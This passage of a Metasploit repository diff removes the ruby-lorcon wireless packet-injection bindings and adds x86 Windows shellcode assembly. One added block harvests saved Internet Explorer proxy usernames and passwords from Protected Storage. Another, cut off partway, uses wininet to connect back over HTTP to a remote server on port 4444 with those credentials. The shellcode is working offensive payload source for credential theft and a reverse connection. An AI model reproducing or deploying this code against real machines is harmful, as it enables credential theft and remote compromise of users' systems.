||||
struct rlpack *rlp;
|
||||
Data_Get_Struct(self, struct rlpack, rlp);
|
||||
|
||||
if (rlp->packet->packet_data == NULL)
|
||||
return Qnil;
|
||||
|
||||
return rb_str_new((char *)rlp->packet->packet_data, rlp->packet->length_data);
|
||||
}
|
||||
|
||||
|
||||
static VALUE Lorcon_packet_getdot3(VALUE self) {
|
||||
struct rlpack *rlp;
|
||||
u_char *pdata;
|
||||
int len;
|
||||
VALUE ret;
|
||||
|
||||
Data_Get_Struct(self, struct rlpack, rlp);
|
||||
|
||||
if (rlp->packet->packet_data == NULL)
|
||||
return Qnil;
|
||||
|
||||
len = lorcon_packet_to_dot3(rlp->packet, &pdata);
|
||||
|
||||
ret = rb_str_new((char *)pdata, len);
|
||||
|
||||
free(pdata);
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
static VALUE Lorcon_packet_prepdot3(VALUE self, VALUE dot3) {
|
||||
struct rlpack *rlp;
|
||||
Data_Get_Struct(self, struct rlpack, rlp);
|
||||
|
||||
rlp->dot3 = (unsigned char *) RSTRING_PTR(dot3);
|
||||
rlp->len = RSTRING_LEN(dot3);
|
||||
|
||||
return dot3;
|
||||
}
|
||||
|
||||
static VALUE Lorcon_packet_prepbssid(VALUE self, VALUE bssid) {
|
||||
struct rlpack *rlp;
|
||||
Data_Get_Struct(self, struct rlpack, rlp);
|
||||
|
||||
rlp->bssid = (unsigned char *)RSTRING_PTR(bssid);
|
||||
|
||||
return bssid;
|
||||
}
|
||||
|
||||
static VALUE Lorcon_packet_prepdir(VALUE self, VALUE dir) {
|
||||
struct rlpack *rlp;
|
||||
Data_Get_Struct(self, struct rlpack, rlp);
|
||||
|
||||
rlp->dir = NUM2INT(dir);
|
||||
|
||||
return dir;
|
||||
}
|
||||
|
||||
static VALUE Lorcon_packet_getdir(VALUE self) {
|
||||
struct rlpack *rlp;
|
||||
struct lorcon_dot11_extra *extra;
|
||||
Data_Get_Struct(self, struct rlpack, rlp);
|
||||
|
||||
if (rlp->dir != 0)
|
||||
return INT2FIX(rlp->dir);
|
||||
|
||||
if (rlp->packet == NULL)
|
||||
return Qnil;
|
||||
|
||||
if (rlp->packet->extra_info == NULL ||
|
||||
rlp->packet->extra_type != LORCON_PACKET_EXTRA_80211)
|
||||
return Qnil;
|
||||
|
||||
extra = (struct lorcon_dot11_extra *) rlp->packet->extra_info;
|
||||
|
||||
if (extra->from_ds && !extra->to_ds)
|
||||
return INT2FIX(LORCON_DOT11_DIR_FROMDS);
|
||||
else if (!extra->from_ds && extra->to_ds)
|
||||
return INT2FIX(LORCON_DOT11_DIR_TODS);
|
||||
else if (!extra->from_ds && !extra->to_ds)
|
||||
return INT2FIX(LORCON_DOT11_DIR_ADHOCDS);
|
||||
else if (extra->from_ds && extra->to_ds)
|
||||
return INT2FIX(LORCON_DOT11_DIR_INTRADS);
|
||||
|
||||
return Qnil;
|
||||
}
|
||||
|
||||
static VALUE Lorcon_packet_get_rawlength(VALUE self) {
|
||||
struct rlpack *rlp;
|
||||
Data_Get_Struct(self, struct rlpack, rlp);
|
||||
|
||||
return INT2FIX(rlp->packet->length);
|
||||
}
|
||||
|
||||
static VALUE Lorcon_packet_get_headerlength(VALUE self) {
|
||||
struct rlpack *rlp;
|
||||
Data_Get_Struct(self, struct rlpack, rlp);
|
||||
|
||||
return INT2FIX(rlp->packet->length_header);
|
||||
}
|
||||
|
||||
static VALUE Lorcon_packet_get_datalength(VALUE self) {
|
||||
struct rlpack *rlp;
|
||||
Data_Get_Struct(self, struct rlpack, rlp);
|
||||
|
||||
return INT2FIX(rlp->packet->length_data);
|
||||
}
|
||||
|
||||
VALUE new_lorcon_packet(struct lorcon_packet **packet) {
|
||||
struct rlpack *rlp;
|
||||
VALUE obj;
|
||||
|
||||
obj = Data_Make_Struct(cPacket, struct rlpack, 0, Lorcon_packet_free, rlp);
|
||||
|
||||
rlp->packet = *packet;
|
||||
rb_obj_call_init(obj, 0, 0);
|
||||
return(obj);
|
||||
}
|
||||
|
||||
static VALUE Lorcon_inject_packet(VALUE self, VALUE packet) {
|
||||
struct rldev *rld;
|
||||
struct rlpack *rlp;
|
||||
lorcon_packet_t *pack = NULL;
|
||||
int ret;
|
||||
|
||||
if (rb_obj_is_kind_of(packet, cPacket) == 0) {
|
||||
rb_raise(rb_eTypeError, "wrong type expected %s", rb_class2name(cPacket));
|
||||
return Qnil;
|
||||
}
|
||||
|
||||
Data_Get_Struct(self, struct rldev, rld);
|
||||
Data_Get_Struct(packet, struct rlpack, rlp);
|
||||
|
||||
if (rlp->bssid != NULL && rlp->dot3 != NULL) {
|
||||
pack = lorcon_packet_from_dot3(rlp->bssid, rlp->dir, rlp->dot3, rlp->len);
|
||||
ret = lorcon_inject(rld->context, pack);
|
||||
lorcon_packet_free(pack);
|
||||
} else {
|
||||
ret = lorcon_inject(rld->context, rlp->packet);
|
||||
}
|
||||
|
||||
return INT2FIX(ret);
|
||||
}
|
||||
|
||||
static VALUE Lorcon_write_raw(VALUE self, VALUE rpacket) {
|
||||
struct rldev *rld;
|
||||
int ret;
|
||||
|
||||
Data_Get_Struct(self, struct rldev, rld);
|
||||
|
||||
if(TYPE(rpacket) != T_STRING) {
|
||||
rb_raise(rb_eArgError, "packet data must be a string");
|
||||
return Qnil;
|
||||
}
|
||||
|
||||
ret = lorcon_send_bytes(rld->context, RSTRING_LEN(rpacket), (unsigned char *)RSTRING_PTR(rpacket));
|
||||
return INT2FIX(ret);
|
||||
}
|
||||
|
||||
static VALUE Lorcon_set_filter(VALUE self, VALUE filter) {
|
||||
struct rldev *rld;
|
||||
Data_Get_Struct(self, struct rldev, rld);
|
||||
return INT2FIX(lorcon_set_filter(rld->context, RSTRING_PTR(filter)));
|
||||
}
|
||||
|
||||
static VALUE Lorcon_set_channel(VALUE self, VALUE channel) {
|
||||
struct rldev *rld;
|
||||
Data_Get_Struct(self, struct rldev, rld);
|
||||
return INT2FIX(lorcon_set_channel(rld->context, NUM2INT(channel)));
|
||||
}
|
||||
|
||||
static VALUE Lorcon_get_channel(VALUE self) {
|
||||
struct rldev *rld;
|
||||
Data_Get_Struct(self, struct rldev, rld);
|
||||
return INT2FIX(lorcon_get_channel(rld->context));
|
||||
}
|
||||
|
||||
static void rblorcon_pcap_handler(rblorconjob_t *job, struct pcap_pkthdr *hdr, u_char *pkt){
|
||||
job->pkt = (unsigned char *)pkt;
|
||||
job->hdr = *hdr;
|
||||
}
|
||||
|
||||
static VALUE Lorcon_capture_next(VALUE self) {
|
||||
struct rldev *rld;
|
||||
int ret = 0;
|
||||
struct lorcon_packet *packet;
|
||||
unsigned char *raw;
|
||||
pcap_t *pd;
|
||||
rblorconjob_t job;
|
||||
Data_Get_Struct(self, struct rldev, rld);
|
||||
|
||||
pd = lorcon_get_pcap(rld->context);
|
||||
|
||||
#ifndef RUBY_19
|
||||
TRAP_BEG;
|
||||
#endif
|
||||
ret = pcap_dispatch(pd, 1, (pcap_handler) rblorcon_pcap_handler, (u_char *)&job);
|
||||
#ifndef RUBY_19
|
||||
TRAP_END;
|
||||
#endif
|
||||
|
||||
if (ret == 0)
|
||||
return(Qnil);
|
||||
|
||||
if (ret < 0 || job.hdr.caplen <= 0)
|
||||
return INT2FIX(ret);
|
||||
|
||||
raw = malloc(job.hdr.caplen);
|
||||
if(! raw) return Qnil;
|
||||
|
||||
memcpy(raw, job.pkt, job.hdr.caplen);
|
||||
packet = lorcon_packet_from_pcap(rld->context, &job.hdr, raw);
|
||||
lorcon_packet_set_freedata(packet, 1);
|
||||
|
||||
return new_lorcon_packet(&packet);
|
||||
}
|
||||
|
||||
|
||||
static VALUE Lorcon_capture_loop(int argc, VALUE *argv, VALUE self) {
|
||||
struct rldev *rld;
|
||||
int count = 0;
|
||||
int p = 0;
|
||||
VALUE v_cnt;
|
||||
VALUE ret;
|
||||
int fd;
|
||||
|
||||
Data_Get_Struct(self, struct rldev, rld);
|
||||
|
||||
if (rb_scan_args(argc, argv, "01", &v_cnt) >= 1) {
|
||||
count = FIX2INT(v_cnt);
|
||||
} else {
|
||||
count = -1;
|
||||
}
|
||||
|
||||
fd = lorcon_get_selectable_fd(rld->context);
|
||||
if(fd < 0 ) {
|
||||
rb_raise(rb_eRuntimeError,
|
||||
"LORCON context could not provide a pollable descriptor "
|
||||
"and we need one for the threaded dispatch loop");
|
||||
}
|
||||
|
||||
while (p < count || count <= 0) {
|
||||
ret = Lorcon_capture_next(self);
|
||||
if(TYPE(ret) == T_FIXNUM) return(ret);
|
||||
if(ret == Qnil) {
|
||||
rb_thread_wait_fd(fd);
|
||||
} else {
|
||||
rb_yield(ret);
|
||||
p++;
|
||||
}
|
||||
}
|
||||
|
||||
return INT2FIX(p);
|
||||
}
|
||||
|
||||
|
||||
void Init_Lorcon2() {
|
||||
mLorcon = rb_define_module("Lorcon");
|
||||
|
||||
cPacket = rb_define_class_under(mLorcon, "Packet", rb_cObject);
|
||||
|
||||
rb_define_const(cPacket, "LORCON_FROM_DS", INT2NUM(LORCON_DOT11_DIR_FROMDS));
|
||||
rb_define_const(cPacket, "LORCON_TO_DS", INT2NUM(LORCON_DOT11_DIR_TODS));
|
||||
rb_define_const(cPacket, "LORCON_INTRA_DS", INT2NUM(LORCON_DOT11_DIR_INTRADS));
|
||||
rb_define_const(cPacket, "LORCON_ADHOC_DS", INT2NUM(LORCON_DOT11_DIR_ADHOCDS));
|
||||
|
||||
rb_define_singleton_method(cPacket, "new", Lorcon_packet_create, -1);
|
||||
rb_define_method(cPacket, "bssid", Lorcon_packet_get_bssid, 0);
|
||||
rb_define_method(cPacket, "source", Lorcon_packet_get_source, 0);
|
||||
rb_define_method(cPacket, "dest", Lorcon_packet_get_dest, 0);
|
||||
|
||||
rb_define_method(cPacket, "channel", Lorcon_packet_get_channel, 0);
|
||||
rb_define_method(cPacket, "channel=", Lorcon_packet_set_channel, 1);
|
||||
rb_define_method(cPacket, "dlt", Lorcon_packet_get_dlt, 0);
|
||||
|
||||
rb_define_method(cPacket, "rawdata", Lorcon_packet_get_rawdata, 0);
|
||||
rb_define_method(cPacket, "headerdata", Lorcon_packet_get_headerdata, 0);
|
||||
rb_define_method(cPacket, "data", Lorcon_packet_get_data, 0);
|
||||
|
||||
rb_define_method(cPacket, "dot3", Lorcon_packet_getdot3, 0);
|
||||
|
||||
rb_define_method(cPacket, "dot3=", Lorcon_packet_prepdot3, 1);
|
||||
rb_define_method(cPacket, "bssid=", Lorcon_packet_prepbssid, 1);
|
||||
rb_define_method(cPacket, "direction=", Lorcon_packet_prepdir, 1);
|
||||
rb_define_method(cPacket, "direction", Lorcon_packet_getdir, 0);
|
||||
|
||||
rb_define_method(cPacket, "size", Lorcon_packet_get_rawlength, 0);
|
||||
rb_define_method(cPacket, "linesize", Lorcon_packet_get_rawlength, 0);
|
||||
rb_define_method(cPacket, "headersize", Lorcon_packet_get_headerlength, 0);
|
||||
rb_define_method(cPacket, "datasize", Lorcon_packet_get_datalength, 0);
|
||||
|
||||
cDevice = rb_define_class_under(mLorcon, "Device", rb_cObject);
|
||||
rb_define_singleton_method(cDevice, "new", Lorcon_create, -1);
|
||||
rb_define_method(cDevice, "openinject", Lorcon_open_inject, 0);
|
||||
rb_define_method(cDevice, "openmonitor", Lorcon_open_monitor, 0);
|
||||
rb_define_method(cDevice, "openinjmon", Lorcon_open_injmon, 0);
|
||||
rb_define_method(cDevice, "error", Lorcon_get_error, 0);
|
||||
rb_define_method(cDevice, "capiface", Lorcon_get_capiface, 0);
|
||||
|
||||
rb_define_method(cDevice, "filter=", Lorcon_set_filter, 1);
|
||||
rb_define_method(cDevice, "channel=", Lorcon_set_channel, 1);
|
||||
rb_define_method(cDevice, "channel", Lorcon_get_channel, 0);
|
||||
|
||||
rb_define_method(cDevice, "loop", Lorcon_capture_loop, -1);
|
||||
rb_define_method(cDevice, "each", Lorcon_capture_loop, -1);
|
||||
rb_define_method(cDevice, "each_packet", Lorcon_capture_loop, -1);
|
||||
rb_define_method(cDevice, "write", Lorcon_write_raw, 1);
|
||||
rb_define_method(cDevice, "inject", Lorcon_inject_packet, 1);
|
||||
rb_define_module_function(mLorcon, "drivers", Lorcon_list_drivers, 0);
|
||||
rb_define_module_function(mLorcon, "version", Lorcon_get_version, 0);
|
||||
rb_define_module_function(mLorcon, "find_driver", Lorcon_find_driver, 1);
|
||||
rb_define_module_function(mLorcon, "auto_driver", Lorcon_auto_driver, 1);
|
||||
}
|
||||
|
||||
|
|
@ -1,31 +0,0 @@
|
|||
#ifndef _MSFLORCON_H
|
||||
#define _MSFLORCON_H
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <errno.h>
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
#include <sys/socket.h>
|
||||
|
||||
#include <lorcon2/lorcon.h>
|
||||
#include <pcap.h>
|
||||
|
||||
struct rldev {
|
||||
struct lorcon *context;
|
||||
};
|
||||
|
||||
struct rlpack {
|
||||
struct lorcon_packet *packet;
|
||||
|
||||
/* dot3 construction via multiple elements */
|
||||
u_char *bssid, *dot3;
|
||||
int dir, len;
|
||||
};
|
||||
|
||||
|
||||
typedef struct rblorconjob {
|
||||
struct pcap_pkthdr hdr;
|
||||
unsigned char *pkt;
|
||||
} rblorconjob_t;
|
||||
|
||||
#endif
|
|
@ -1,41 +0,0 @@
|
|||
This is an experimental interface for lorcon, a 802.11 library
|
||||
developed by Joshua Wright and dragorn. This interface is only
|
||||
available on Linux and with lorcon-supported wireless drivers.
|
||||
|
||||
For more information, please see the lorcon documentation and code:
|
||||
http://www.802.11mercenary.net/lorcon/
|
||||
|
||||
To build this extension:
|
||||
|
||||
1) Download, compile, and install lorcon
|
||||
The latest version of lorcon can pulled from SVN:
|
||||
$ svn co https://802.11ninja.net/svn/lorcon/trunk/ lorcon
|
||||
$ cd lorcon
|
||||
$ ./configure
|
||||
$ make
|
||||
$ sudo make install
|
||||
-- or --
|
||||
$ su
|
||||
# make install
|
||||
# exit
|
||||
$ cd ..
|
||||
|
||||
2) build the ruby extension..
|
||||
$ ruby extconf.rb
|
||||
$ make
|
||||
$ sudo make install
|
||||
-- or --
|
||||
$ su
|
||||
# make install
|
||||
|
||||
|
||||
NOTES:
|
||||
|
||||
if Ubuntu 8.04 (and probably others) bitches about 'mkmf',
|
||||
you need ruby dev package.
|
||||
|
||||
:~/metasploit/external/ruby-lorcon$ ruby extconf.rb
|
||||
extconf.rb:2:in `require': no such file to load -- mkmf (LoadError)
|
||||
from extconf.rb:2
|
||||
|
||||
:~/metasploit/external/ruby-lorcon$ sudo apt-get install ruby1.8-dev
|
|
@ -1,16 +0,0 @@
|
|||
#!/usr/bin/env ruby
|
||||
require 'mkmf'
|
||||
|
||||
|
||||
$CFLAGS += " -I/usr/include/lorcon2"
|
||||
|
||||
if ( RUBY_VERSION =~ /^(1\.9|2\.0)/ )
|
||||
$CFLAGS += " -DRUBY_19"
|
||||
end
|
||||
|
||||
if find_library("orcon2", "lorcon_list_drivers", "lorcon2/lorcon.h")
|
||||
create_makefile("Lorcon2")
|
||||
else
|
||||
puts "Error: the lorcon2 library was not found, please see the README"
|
||||
end
|
||||
|
|
@ -1,59 +0,0 @@
|
|||
#!/usr/bin/env ruby
|
||||
|
||||
$:.unshift(File.dirname(__FILE__))
|
||||
|
||||
require "Lorcon2"
|
||||
require 'thread'
|
||||
require "pp"
|
||||
|
||||
intf = ARGV.shift || "wlan0"
|
||||
|
||||
$stdout.puts "Checking LORCON version"
|
||||
|
||||
pp Lorcon.version
|
||||
|
||||
$stdout.puts "\nFetching LORCON driver list"
|
||||
|
||||
pp Lorcon.drivers
|
||||
|
||||
$stdout.puts "\nResolving driver by name 'mac80211'"
|
||||
|
||||
pp Lorcon.find_driver("mac80211")
|
||||
|
||||
$stdout.puts "\nAuto-detecting driver for interface wlan0"
|
||||
|
||||
pp Lorcon.auto_driver(intf)
|
||||
|
||||
|
||||
tx = Lorcon::Device.new(intf)
|
||||
$stdout.puts "\nCreated LORCON context"
|
||||
|
||||
if tx.openinjmon()
|
||||
$stdout.puts "\nOpened as INJMON: " + tx.capiface
|
||||
else
|
||||
$stdout.puts "\nFAILED to open " + tx.capiface + " as INJMON: " + tx.error
|
||||
end
|
||||
|
||||
def safe_loop(wifi)
|
||||
@q = Queue.new
|
||||
reader = Thread.new do
|
||||
wifi.each_packet {|pkt| @q << pkt }
|
||||
end
|
||||
|
||||
eater = Thread.new do
|
||||
while(pkt = @q.pop)
|
||||
yield(pkt)
|
||||
end
|
||||
end
|
||||
|
||||
begin
|
||||
eater.join
|
||||
rescue ::Interrupt => e
|
||||
reader.kill if reader.alive?
|
||||
puts "ALL DONE!"
|
||||
end
|
||||
end
|
||||
|
||||
safe_loop(tx) do |pkt|
|
||||
pp pkt
|
||||
end
|
|
@ -1,11 +0,0 @@
|
|||
Path: .
|
||||
URL: http://802.11ninja.net/svn/lorcon/trunk/ruby-lorcon
|
||||
Repository Root: http://802.11ninja.net/svn/lorcon
|
||||
Repository UUID: 61418039-352c-0410-8488-9e586b2135b2
|
||||
Revision: 204
|
||||
Node Kind: directory
|
||||
Schedule: normal
|
||||
Last Changed Author: dragorn
|
||||
Last Changed Rev: 202
|
||||
Last Changed Date: 2009-09-15 09:31:29 -0500 (Tue, 15 Sep 2009)
|
||||
|
|
@ -0,0 +1,209 @@
|
|||
;-----------------------------------------------------------------------------;
|
||||
; Author: Unknown
|
||||
; Compatible: Confirmed Windows Server 2003, IE Versions 4 to 6
|
||||
; Version: 1.0
|
||||
;-----------------------------------------------------------------------------;
|
||||
[BITS 32]
|
||||
|
||||
; Input: EBP must be the address of 'api_call'
|
||||
; Output: top element of stack will be pointer to null-terminated password and
|
||||
; second will be pointer to null-terminated username of the Proxy saved in IE
|
||||
|
||||
pushad
|
||||
jmp after_functions
|
||||
|
||||
alloc_memory: ; returns address to allocation in eax
|
||||
push byte 0x40 ; PAGE_EXECUTE_READWRITE
|
||||
push 0x1000 ; MEM_COMMIT
|
||||
push 0x1000 ; allocate 1000 byte for each variable (could be less)
|
||||
push 0 ; NULL as we dont care where the allocation is
|
||||
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
|
||||
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXE$
|
||||
ret ;
|
||||
;
|
||||
after_functions: ;
|
||||
;
|
||||
; allocate memory for variables and save pointers on stack
|
||||
mov bl, 9 ;
|
||||
alloc_loop: ;
|
||||
call alloc_memory ;
|
||||
push eax ; save allocation address on stack
|
||||
dec bl ;
|
||||
jnz alloc_loop ;
|
||||
;
|
||||
load_pstorec: ; loads the pstorec.dll
|
||||
push 0x00636572 ; Push the bytes 'pstorec',0 onto the stack.
|
||||
push 0x6f747370 ; ...
|
||||
push esp ; Push a pointer to the 'pstorec',0 string on the stack.
|
||||
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
|
||||
call ebp ; LoadLibraryA( "pstorec" )
|
||||
; this should leave a handle to the pstorec
|
||||
; DLL-Module in eax
|
||||
|
||||
pop edx ; remove 'pstorec' string from stack
|
||||
pop edx
|
||||
|
||||
PStoreCreateInstance_PStore:
|
||||
; returns address to PStore in pPStore
|
||||
pop edi ; pop pPstore
|
||||
push edi ; restore stack
|
||||
;
|
||||
push 0 ;
|
||||
push 0 ;
|
||||
push 0 ;
|
||||
push edi ; arg4: pPstore
|
||||
push 0x2664BDDB ; hash ( "pstorec.dll", "PStoreCreateInstance" )
|
||||
call ebp ; PstoreCreateInstance(address, 0, 0, 0)
|
||||
;
|
||||
PStore.EnumTypes: ; returns address to EnumPStoreTypes in pEnumPStoreTypes
|
||||
pop eax ; pop pPstore
|
||||
pop edx ; pop pEnumPstoreTypes
|
||||
push edx ; restore stack
|
||||
push eax ;
|
||||
;
|
||||
push edx ; arg1: pEnumPstoreTypes
|
||||
push 0 ; arg2: NULL
|
||||
push 0 ; arg3: NULL
|
||||
mov eax, [eax] ; load base address of PStore in eax
|
||||
push eax ; push base address of PStore (this)
|
||||
mov edx, [eax] ; get function address of IPStore::EnumTypes in pstorec.dll
|
||||
mov edx, [edx+0x38] ; &EnumTypes() = *(*(&PStore)+0x38)
|
||||
call edx ; call IPStore::EnumTypes
|
||||
mov edi, 0x5e7e8100 ; Value of pTypeGUID if Password is IE:Password-Protected
|
||||
;
|
||||
EnumPStoreTypes.raw_Next:
|
||||
pop eax ; pop pPStore
|
||||
pop edx ; pop pEnumPStoreTypes
|
||||
pop ecx ; pop pTypeGUID
|
||||
push ecx ; restore stack
|
||||
push edx ;
|
||||
push eax ;
|
||||
;
|
||||
push 0 ; arg1: NULL
|
||||
push ecx ; arg2: pTypeGUID
|
||||
push 1 ; arg3: 1
|
||||
mov edx, [edx] ; load base address of EnumPStoreTypes
|
||||
push edx ; push base address of EnumPStoreTypes (this)
|
||||
mov edx, [edx] ; get function address of EnumPStoreTypes::raw_Next in pstorec.dll
|
||||
mov edx, [edx+0x0C] ; &RawNext = *(*(*(&EnumPStoreTypes))+0x0C)
|
||||
call edx ; call EnumPStoreTypes::raw_Next
|
||||
;
|
||||
mov eax, [esp+8] ;
|
||||
mov eax, [eax] ;
|
||||
;
|
||||
test eax, eax ;
|
||||
jz no_auth ; no Password found
|
||||
cmp edi, eax ; do this until TypeGUID indicates "IE Password Protected sites"
|
||||
jne EnumPStoreTypes.raw_Next
|
||||
;
|
||||
PStore.EnumSubtypes: ; returns address to EnumSubtypes () in pEnumSubtypes ()
|
||||
pop eax ; pop pPstore
|
||||
pop edx ; pop pEnumPstoreTypes
|
||||
pop ecx ; pop pTypeGUID
|
||||
pop edi ; pop pEnumSubtypes
|
||||
push edi ; restore stack
|
||||
push ecx ;
|
||||
push edx ;
|
||||
push eax ;
|
||||
;
|
||||
push edi ; arg1: pEnumSubtypes
|
||||
push 0 ; arg2: NULL
|
||||
push ecx ; arg3: pTypeGUID
|
||||
push 0 ; arg4: NULL
|
||||
mov eax, [eax] ; load base address of PStore in eax
|
||||
push eax ; push base address of PStore (this)
|
||||
mov edx, [eax] ; get function address of IPStore::EnumSubtypes in pstorec.dll
|
||||
mov edx, [edx+0x3C] ; &Pstore.EnumSubTypes() = *(*(*(&PStore))+0x3C)
|
||||
call edx ; call IPStore::EnumSubtypes
|
||||
;
|
||||
EnumSubtypes.raw_Next:
|
||||
mov eax, [esp+0x0C] ; pop pEnumSubtypes
|
||||
mov edx, [esp+0x10] ; pop psubTypeGUID
|
||||
;
|
||||
push 0 ; arg1: NULL
|
||||
push edx ; arg2: psubTypeGUID
|
||||
push 1 ; arg3: 1
|
||||
mov eax, [eax] ; load base address of EnumSubtypes in eax
|
||||
push eax ; push base address of EnumSubtypes (this)
|
||||
mov edx, [eax] ; get function address of raw_Next in pstorec.dll
|
||||
mov edx, [edx+0x0C] ; &(EnumSubtypes.raw_Next) = *(*(&EnumSubtypes)+0x0C)
|
||||
call edx ; call EnumSubtypes.raw_Next
|
||||
;
|
||||
PStore.EnumItems:
|
||||
pop eax ; pop pPstore
|
||||
pop ecx ;
|
||||
pop edx ; pop pTypeGUID
|
||||
push edx ; restore stack
|
||||
push ecx ;
|
||||
push eax ;
|
||||
mov ecx, [esp+0x10] ; pop psubTypeGUID
|
||||
mov edi, [esp+0x14] ; pop pspEnumItems
|
||||
;
|
||||
push edi ; arg1: pspEnumItems
|
||||
push 0 ; arg2: NULL
|
||||
push ecx ; arg3: psubTypeGUID
|
||||
push edx ; arg4: pTyoeGUID
|
||||
push 0 ; arg5: NULL
|
||||
mov eax, [eax] ; load base address of PStore in eax
|
||||
push eax ; push base address of PStore (this)
|
||||
mov edx, [eax] ; get function address of IPStore::Enumitems in pstorec.dll
|
||||
mov edx, [edx+0x54] ;
|
||||
call edx ; call IPStore::Enumitems
|
||||
;
|
||||
spEnumItems.raw_Next:
|
||||
mov eax, [esp+0x14] ; pop pspEnumItems
|
||||
mov ecx, [esp+0x18] ; pop pitemName
|
||||
;
|
||||
push 0 ; arg1: NULL
|
||||
push ecx ; arg2: pitemName
|
||||
push 1 ; arg3: 1
|
||||
mov eax, [eax] ; load base address of spEnumItems in eax
|
||||
push eax ; push base addres of spEnumItems (this)
|
||||
mov edx, [eax] ; get function address of raw_Next in pstorec.dll
|
||||
mov edx, [edx+0x0C] ;
|
||||
call edx ;
|
||||
;
|
||||
PStore.ReadItem:
|
||||
pop eax ; pop pPStore
|
||||
push eax ;
|
||||
;
|
||||
push 0 ; arg1: NULL
|
||||
push 0 ; arg2: NULL (stiinfo not needed)
|
||||
mov ecx, [esp+0x24] ; pop ppsData (8. Element)
|
||||
push ecx ; arg3: ppsData
|
||||
mov ecx, [esp+0x2C] ; pop ppsDataLen
|
||||
push ecx ; arg4: ppsDataLen (not needed?)
|
||||
mov ecx, [esp+0x28] ; pop pitemName (7. Element)
|
||||
mov ecx, [ecx] ;
|
||||
push ecx ; arg5: pitemName
|
||||
mov ecx, [esp+0x24] ; pop psubTypeGUID (5. Element)
|
||||
push ecx ; arg6: psubTypeGUID
|
||||
mov ecx, [esp+0x20] ; pop pTypeGUID (3. Element)
|
||||
push ecx ; arg7: pTypeGUID
|
||||
push 0 ; arg8: NULL
|
||||
mov eax, [eax] ; load base address of PStore in eax
|
||||
push eax ; push base addres of PStore (this)
|
||||
mov edx, [eax] ; get function address of IPStore::ReadItem in pstorec.dll
|
||||
mov edx, [edx+0x44] ;
|
||||
call edx ;
|
||||
;
|
||||
split_user_pass:
|
||||
mov eax, [esp+0x1C] ; eax = ppsData
|
||||
mov eax, [eax] ; now eax contains pointer to "user:pass"
|
||||
push eax ; push pointer to user
|
||||
mov cl, byte 0x3a ; load ":" in ecx
|
||||
mov dl, byte [eax] ; load first byte of ppsData in edx
|
||||
cmp cl, dl ;
|
||||
jz no_auth ;
|
||||
loop_split: ;
|
||||
inc eax ;
|
||||
mov dl, byte [eax] ;
|
||||
cmp cl, dl ;
|
||||
jnz loop_split ; increase eax until it points to ":"
|
||||
;
|
||||
mov [eax], byte 0x00 ; replace ":" with 00
|
||||
inc eax ;
|
||||
push eax ; push pointer to pass
|
||||
;
|
||||
no_auth:
|
||||
|
157
external/source/shellcode/windows/x86/src/block/block_reverse_http_use_proxy_creds.asm
vendored
Normal file
157
external/source/shellcode/windows/x86/src/block/block_reverse_http_use_proxy_creds.asm
vendored
Normal file
|
@ -0,0 +1,157 @@
|
|||
;-----------------------------------------------------------------------------;
|
||||
; Author: HD Moore
|
||||
; Compatible: Confirmed Windows 7, Windows 2008 Server, Windows XP SP1, Windows SP3, Windows 2000
|
||||
; Known Bugs: Incompatible with Windows NT 4.0, buggy on Windows XP Embedded (SP1)
|
||||
; Version: 1.0
|
||||
;-----------------------------------------------------------------------------;
|
||||
[BITS 32]
|
||||
|
||||
; Input: EBP must be the address of 'api_call'.
|
||||
; Top and second top element of stack can be pointer to null-terminated
|
||||
; password and pointer to null-terminated username of a proxy server to connect to.
|
||||
; Output: EDI will be the socket for the connection to the server
|
||||
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
|
||||
load_wininet:
|
||||
push 0x0074656e ; Push the bytes 'wininet',0 onto the stack.
|
||||
push 0x696e6977 ; ...
|
||||
push esp ; Push a pointer to the "wininet" string on the stack.
|
||||
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
|
||||
call ebp ; LoadLibraryA( "wininet" )
|
||||
|
||||
internetopen:
|
||||
xor edi,edi
|
||||
push edi ; DWORD dwFlags
|
||||
push edi ; LPCTSTR lpszProxyBypass
|
||||
push edi ; LPCTSTR lpszProxyName
|
||||
push edi ; DWORD dwAccessType (PRECONFIG = 0)
|
||||
push byte 0 ; NULL pointer
|
||||
push esp ; LPCTSTR lpszAgent ("\x00")
|
||||
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
|
||||
call ebp
|
||||
|
||||
jmp short dbl_get_server_host
|
||||
|
||||
internetconnect:
|
||||
pop ebx ; Save the hostname pointer
|
||||
xor edi, edi
|
||||
push edi ; DWORD_PTR dwContext (NULL)
|
||||
push edi ; dwFlags
|
||||
push byte 3 ; DWORD dwService (INTERNET_SERVICE_HTTP)
|
||||
push ecx ; password
|
||||
push edx ; username
|
||||
push dword 4444 ; PORT
|
||||
push ebx ; HOSTNAME
|
||||
push eax ; HINTERNET hInternet
|
||||
push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" )
|
||||
call ebp
|
||||
|
||||
jmp get_server_uri
|
||||
|
||||
httpopenrequest:
|
||||
pop ecx
|
||||
xor edx, edx ; NULL
|
||||
push edx ; dwContext (NULL)
|
||||
push (0x80000000 | 0x04000000 | 0x00200000 | 0x00000200) ; dwFlags
|
||||
;0x80000000 | ; INTERNET_FLAG_RELOAD
|
||||
;0x04000000 | ; INTERNET_NO_CACHE_WRITE
|
||||
;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT
|
||||
;0x00000200 ; INTERNET_FLAG_NO_UI
|
||||
push edx ; accept types
|
||||
push edx ; referrer
|
||||
push edx ; version
|
||||
push ecx ; url
|
||||
push edx ; method
|
||||
push eax ; hConnection
|
||||
push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" )
|
||||
call ebp
|
||||
mov esi, eax ; hHttpRequest
|
||||
|
||||
set_retry:
|
||||
push byte 0x10
|
||||
pop ebx
|
||||
|
||||
httpsendrequest:
|
||||
xor edi, edi
|
||||
push edi ; optional length
|
||||
push edi ; optional
|
||||
push edi ; dwHeadersLength
|
||||
push edi ; headers
|
||||
push esi ; hHttpRequest
|
||||
push 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" )
|
||||
call ebp
|
||||
test eax,eax
|
||||
jnz short allocate_memory
|
||||
|
||||
try_it_again:
|
||||
dec ebx
